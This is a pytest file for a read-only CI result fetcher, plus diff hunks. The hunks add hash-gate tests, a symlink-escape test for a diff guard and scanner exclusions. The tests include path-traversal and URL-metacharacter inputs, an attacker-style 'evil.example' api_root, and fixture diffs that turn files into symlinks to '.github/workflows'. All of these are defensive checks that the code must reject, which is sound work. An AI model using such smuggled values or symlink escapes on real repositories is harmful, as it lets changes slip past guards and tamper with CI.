import pytest
from agent_team.ci_fetcher import (
CI_READ_TOKEN_ENV,
build_ci_result_fetcher,
fetch_ci_result,
)
class _FakeResponse:
def __init__(self, status: int, body):
self.status_code = status
self._body = body
def json(self):
if isinstance(self._body, Exception):
raise self._body
return self._body
class _FakeClient:
"""A requests-like client recording calls; raises only write verbs if asked."""
def __init__(self, response=None, raise_exc=None):
self._response = response
self._raise = raise_exc
self.calls: list[tuple[str, dict]] = []
def get(self, url, *, timeout=None):
self.calls.append((url, {"timeout": timeout}))
if self._raise is not None:
raise self._raise
return self._response
# If the fetcher ever tried to write, these would record it — they must not
# be called (the fetcher is read-only).
def post(self, *a, **k): # pragma: no cover - must never be called
raise AssertionError("ci_fetcher must never POST")
def patch(self, *a, **k): # pragma: no cover - must never be called
raise AssertionError("ci_fetcher must never PATCH")
def _state(run_id="123", diff_hash="abc123"):
return {"run_id": run_id, "diff_hash": diff_hash}
# --------------------------------------------------------------------------- #
# Success path
# --------------------------------------------------------------------------- #
def test_success_returns_correct_mapping() -> None:
client = _FakeClient(
_FakeResponse(200, {"id": 123, "conclusion": "success", "status": "completed"})
)
out = fetch_ci_result(_state(), owner="o", repo="r", client=client)
assert out == {"run_id": "123", "conclusion": "success", "diff_hash": "abc123"}
# It hit the runs endpoint for the right run, read-only.
assert client.calls[0][0].endswith("/repos/o/r/actions/runs/123")
def test_failure_conclusion_is_echoed_not_judged() -> None:
# The fetcher returns the raw conclusion; it does NOT decide pass/fail.
client = _FakeClient(_FakeResponse(200, {"id": 5, "conclusion": "failure"}))
out = fetch_ci_result(_state(run_id="5"), owner="o", repo="r", client=client)
assert out is not None
assert out["conclusion"] == "failure" # echoed verbatim, no verdict derived
def test_diff_hash_echoed_from_state() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 9, "conclusion": "success"}))
out = fetch_ci_result(
{"run_id": "9", "diff_hash": "DEADBEEF"}, owner="o", repo="r", client=client
)
assert out["diff_hash"] == "DEADBEEF"
def test_run_id_read_from_state_drives_url() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 777, "conclusion": "success"}))
fetch_ci_result(_state(run_id="777"), owner="acme", repo="svc", client=client)
assert client.calls[0][0].endswith("/repos/acme/svc/actions/runs/777")
# --------------------------------------------------------------------------- #
# Fail-closed paths (every error -> None)
# --------------------------------------------------------------------------- #
def test_404_fails_closed() -> None:
client = _FakeClient(_FakeResponse(404, {"message": "Not Found"}))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_auth_fail_401_fails_closed() -> None:
client = _FakeClient(_FakeResponse(401, {"message": "Bad credentials"}))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_forbidden_403_fails_closed() -> None:
client = _FakeClient(_FakeResponse(403, {"message": "forbidden"}))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_malformed_body_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, ValueError("not json")))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_non_object_body_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, ["not", "a", "dict"]))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_missing_conclusion_fails_closed() -> None:
# In-progress run: conclusion is None -> not an authenticated verdict.
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": None}))
assert (
fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None
)
def test_timeout_fails_closed() -> None:
client = _FakeClient(raise_exc=TimeoutError("timed out"))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_connection_error_fails_closed() -> None:
client = _FakeClient(raise_exc=ConnectionError("refused"))
assert fetch_ci_result(_state(), owner="o", repo="r", client=client) is None
def test_missing_run_id_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert (
fetch_ci_result({"diff_hash": "x"}, owner="o", repo="r", client=client) is None
)
# And it never even made a request.
assert client.calls == []
def test_empty_run_id_fails_closed() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert (
fetch_ci_result(
{"run_id": "", "diff_hash": "x"}, owner="o", repo="r", client=client
)
is None
)
assert client.calls == []
# --------------------------------------------------------------------------- #
# Missing token (no injected client) -> fails closed (does NOT raise)
# --------------------------------------------------------------------------- #
def test_missing_token_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None:
monkeypatch.delenv(CI_READ_TOKEN_ENV, raising=False)
monkeypatch.delenv("GITHUB_TOKEN", raising=False)
# No client injected -> it must resolve a token; none set -> None (no raise).
assert fetch_ci_result(_state(), owner="o", repo="r") is None
# --------------------------------------------------------------------------- #
# Read-only contract: never derives a verdict, never writes
# --------------------------------------------------------------------------- #
def test_fetcher_never_returns_a_verdict_field() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 2, "conclusion": "failure"}))
out = fetch_ci_result(_state(run_id="2"), owner="o", repo="r", client=client)
assert out is not None
# The mapping is DATA only — there is no gate_decision / passed / verdict.
assert set(out.keys()) == {"run_id", "conclusion", "diff_hash"}
assert "passed" not in out
assert "gate_decision" not in out
def test_build_ci_result_fetcher_returns_state_callable() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 3, "conclusion": "success"}))
fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client)
out = fetcher({"run_id": "3", "diff_hash": "h"})
assert out == {"run_id": "3", "conclusion": "success", "diff_hash": "h"}
def test_build_ci_result_fetcher_fails_closed_on_error() -> None:
client = _FakeClient(_FakeResponse(500, {"message": "boom"}))
fetcher = build_ci_result_fetcher(owner="o", repo="r", client=client)
assert fetcher({"run_id": "3", "diff_hash": "h"}) is None
# --------------------------------------------------------------------------- #
# BLOCK-2: run_id validation (fail-closed; never reaches the URL)
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"bad_run_id",
[
"abc", # non-numeric
"12a", # mixed
"../runs/999", # path traversal
"1 2", # whitespace
"1" * 21, # too long (> 20 digits)
"-1", # sign
"0x10", # hex
],
)
def test_invalid_run_id_fails_closed(bad_run_id: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert (
fetch_ci_result(
{"run_id": bad_run_id, "diff_hash": "x"},
owner="o",
repo="r",
client=client,
)
is None
)
# It never made a request: rejected before URL construction.
assert client.calls == []
def test_valid_numeric_run_id_is_accepted() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 42, "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="42"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "42"
# --------------------------------------------------------------------------- #
# BLOCK-3: owner/repo validation (fail-closed; never reaches the URL)
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"owner,repo",
[
("o/../x", "r"), # traversal in owner
("o", "r/runs/9"), # extra segments in repo
("o ", "r"), # whitespace
("o", ""), # empty repo
("", "r"), # empty owner
("o", "r#frag"), # url metachar
("o?", "r"), # query metachar
],
)
def test_invalid_owner_repo_fails_closed(owner: str, repo: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
assert fetch_ci_result(_state(), owner=owner, repo=repo, client=client) is None
assert client.calls == []
def test_valid_owner_repo_with_dots_dashes_underscores() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "success"}))
out = fetch_ci_result(
_state(run_id="1"), owner="my-org.x", repo="repo_name.v2", client=client
)
assert out is not None
assert client.calls[0][0].endswith("/repos/my-org.x/repo_name.v2/actions/runs/1")
# --------------------------------------------------------------------------- #
# FIX-1: conclusion allowlist (unrecognised -> fail-closed)
# --------------------------------------------------------------------------- #
@pytest.mark.parametrize(
"conclusion",
[
"success",
"failure",
"cancelled",
"skipped",
"timed_out",
"action_required",
"neutral",
"stale",
"startup_failure",
],
)
def test_allowlisted_conclusions_pass(conclusion: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": conclusion}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["conclusion"] == conclusion
def test_conclusion_is_normalized_lowercase() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": "SUCCESS"}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["conclusion"] == "success"
@pytest.mark.parametrize("bad", ["bogus", "passed", "won", "", "in_progress"])
def test_unrecognised_conclusion_fails_closed(bad: str) -> None:
client = _FakeClient(_FakeResponse(200, {"id": 1, "conclusion": bad}))
assert (
fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client) is None
)
# --------------------------------------------------------------------------- #
# FIX-5: fetched_id validation (no arbitrary-string laundering)
# --------------------------------------------------------------------------- #
def test_integer_fetched_id_is_used() -> None:
client = _FakeClient(_FakeResponse(200, {"id": 999, "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "999"
def test_numeric_string_fetched_id_is_used() -> None:
client = _FakeClient(_FakeResponse(200, {"id": "888", "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="1"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "888"
@pytest.mark.parametrize(
"bad_id",
["../evil", "abc", "9a", True, {"x": 1}, ["1"], 1.5],
)
def test_non_integer_fetched_id_falls_back_to_validated_run_id(bad_id) -> None:
client = _FakeClient(_FakeResponse(200, {"id": bad_id, "conclusion": "success"}))
out = fetch_ci_result(_state(run_id="7"), owner="o", repo="r", client=client)
# Falls back to the already-validated requested run_id, never laundering the id.
assert out is not None and out["run_id"] == "7"
def test_missing_fetched_id_falls_back_to_run_id() -> None:
client = _FakeClient(_FakeResponse(200, {"conclusion": "success"}))
out = fetch_ci_result(_state(run_id="55"), owner="o", repo="r", client=client)
assert out is not None and out["run_id"] == "55"
# --------------------------------------------------------------------------- #
# FIX-3: production builder does not accept a caller-overridable api_root
# --------------------------------------------------------------------------- #
def test_build_ci_result_fetcher_rejects_api_root_kwarg() -> None:
# The production builder must NOT expose api_root (so the host cannot be
# redirected from the coordinator/production wiring).
with pytest.raises(TypeError):
build_ci_result_fetcher(owner="o", repo="r", api_root="https://evil.example")

View file

@ -156,6 +156,21 @@ def test_hash_none_ledger_fails() -> None:
assert verify_diff_hash(diff, ledger_hash=None) is False
def test_hash_empty_ledger_fails_closed() -> None:
# An EMPTY expected hash must never be treated as a match (empty != real
# sha). Fail-closed: there is nothing to bind to.
diff = _diff_for("a.py")
assert verify_diff_hash(diff, ledger_hash="") is False
def test_hash_empty_ci_verified_does_not_silently_pass() -> None:
# A real ledger hash but an EMPTY ci_verified hash must not match (the empty
# string is not the recomputed sha).
diff = _diff_for("a.py")
h = _ledger_hash(diff)
assert verify_diff_hash(diff, ledger_hash=h, ci_verified_hash="") is False
def test_hash_ci_verified_must_also_match() -> None:
diff = _diff_for("a.py")
h = _ledger_hash(diff)
@ -293,6 +308,34 @@ def test_gate_ignores_patch_written_success_field() -> None:
assert result.decision is GateDecision.FAIL
def test_gate_blocks_on_empty_ledger_hash() -> None:
# Fail-closed: an empty ledger hash binds to nothing -> BLOCK, never a pass,
# even with an authenticated CI success.
diff = _diff_for("src/foo.py")
result = evaluate_ci_gate(
candidate_diff=diff,
ledger_hash="",
ci_result=_good_ci("run-1", diff, "success"),
expected_run_id="run-1",
)
assert result.decision is GateDecision.BLOCK
assert any("hash" in r for r in result.reasons)
def test_gate_blocks_on_empty_ci_diff_hash() -> None:
# An empty CI-verified diff_hash must not silently pass the integrity check.
diff = _diff_for("src/foo.py")
ci = _good_ci("run-1", diff, "success")
ci["diff_hash"] = ""
result = evaluate_ci_gate(
candidate_diff=diff,
ledger_hash=_ledger_hash(diff),
ci_result=ci,
expected_run_id="run-1",
)
assert result.decision is GateDecision.BLOCK
def test_gate_blocks_when_ci_diff_hash_mismatch() -> None:
# CI verified a different diff than the ledger recorded -> BLOCK.
diff = _diff_for("src/foo.py")

View file

@ -84,6 +84,15 @@ SYMLINK = (
"diff --git a/src/link b/src/link\nnew file mode 120000\n"
"--- /dev/null\n+++ b/src/link\n@@ -0,0 +1 @@\n+../.github/workflows\n"
)
# A diff that CHANGES an existing regular file into a symlink (mode 100644 ->
# 120000). The escape vector is the same: the link target redirects later writes
# into a denied path that textual matching cannot see. Must be rejected too.
SYMLINK_MODE_CHANGE = (
"diff --git a/src/existing b/src/existing\n"
"old mode 100644\nnew mode 120000\n"
"--- a/src/existing\n+++ b/src/existing\n@@ -1 +1 @@\n-regular contents\n"
"+../.github/workflows\n"
)
WORKFLOW_DELETE = (
"diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml\n"
"deleted file mode 100644\n--- a/.github/workflows/ci.yml\n+++ /dev/null\n"
@ -123,6 +132,12 @@ def test_symlink_addition_is_rejected(guard_script: Path, tmp_path: Path) -> Non
assert _run_guard(guard_script, tmp_path, SYMLINK, "src/**") == 7
def test_symlink_mode_change_is_rejected(guard_script: Path, tmp_path: Path) -> None:
# A regular file FLIPPED to a symlink (mode 120000) is the same escape vector
# and must also be rejected (exit 7), not just brand-new symlinks.
assert _run_guard(guard_script, tmp_path, SYMLINK_MODE_CHANGE, "src/**") == 7
def test_non_utf8_diff_fails_closed(guard_script: Path, tmp_path: Path) -> None:
assert _run_guard(guard_script, tmp_path, NON_UTF8, "src/**") == 8

View file

@ -45,7 +45,7 @@ note_missing() { echo " [MISSING] $1 — not run. Install: $2" >&2; }
if command -v cfn-lint >/dev/null; then
# Prune generated/vendored trees (cdk.out, node_modules, …): scanning synthesized output is
# wrong and, on CDK repos, explodes the arg list / stalls the scanners.
TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \
TPLS="$(scope_paths | xargs -I{} find {} \( -type d \( -name cdk.out -o -name node_modules -o -name .git -o -name .claude -o -name .aws-sam -o -name .venv -o -name venv -o -name dist -o -name build \) -prune \) -o \( -type f \( -name '*.yaml' -o -name '*.yml' \) -print \) 2>/dev/null \
| xargs -I{} sh -c 'grep -lE "AWSTemplateFormatVersion|Transform: *AWS::Serverless" "{}" 2>/dev/null || true')"
if [ -n "$TPLS" ]; then
# shellcheck disable=SC2086
@ -69,7 +69,7 @@ SCOPE_PATHS="$(scope_paths)"
# --- semgrep (SAST: injection/authz/xss/secrets) ---
if command -v semgrep >/dev/null; then
# shellcheck disable=SC2086
if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then
if SG="$(semgrep --config p/security-audit --config p/secrets --config p/javascript --json --metrics=off --exclude cdk.out --exclude node_modules --exclude .claude --exclude .venv --exclude venv --exclude .aws-sam --exclude dist --exclude build $SCOPE_PATHS 2>/dev/null)"; then
NORM="$(echo "$SG" | jq '[.results[] | {
id: ("semgrep-" + (.check_id|split(".")|last) + "-" + (.start.line|tostring)),
title: ((.check_id|split(".")|last) + ": " + ((.extra.message // "")[0:120])),
@ -116,7 +116,7 @@ if command -v checkov >/dev/null; then
# scanning cdk.out/<stack>.template.json, which is the real deploy artifact
# (dropping it would silence genuine S3/IAM IaC findings). asset is anchored to
# cdk.out so a source file literally named asset.* is not also excluded.
if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)"
if [ -d "$p" ]; then RAW="$(checkov -d "$p" --skip-path 'cdk\.out/asset\.' --skip-path node_modules --skip-path '\.claude' --skip-path '\.venv' --skip-path venv --skip-path '\.aws-sam' --skip-path dist --skip-path build -o json --compact --quiet 2>/dev/null || true)"
else RAW="$(checkov -f "$p" -o json --compact --quiet 2>/dev/null || true)"; fi
[ -z "$RAW" ] && continue
FC="$(echo "$RAW" | jq '[ (if type=="array" then .[] else . end).results.failed_checks // [] ] | add // []' 2>/dev/null || echo '[]')"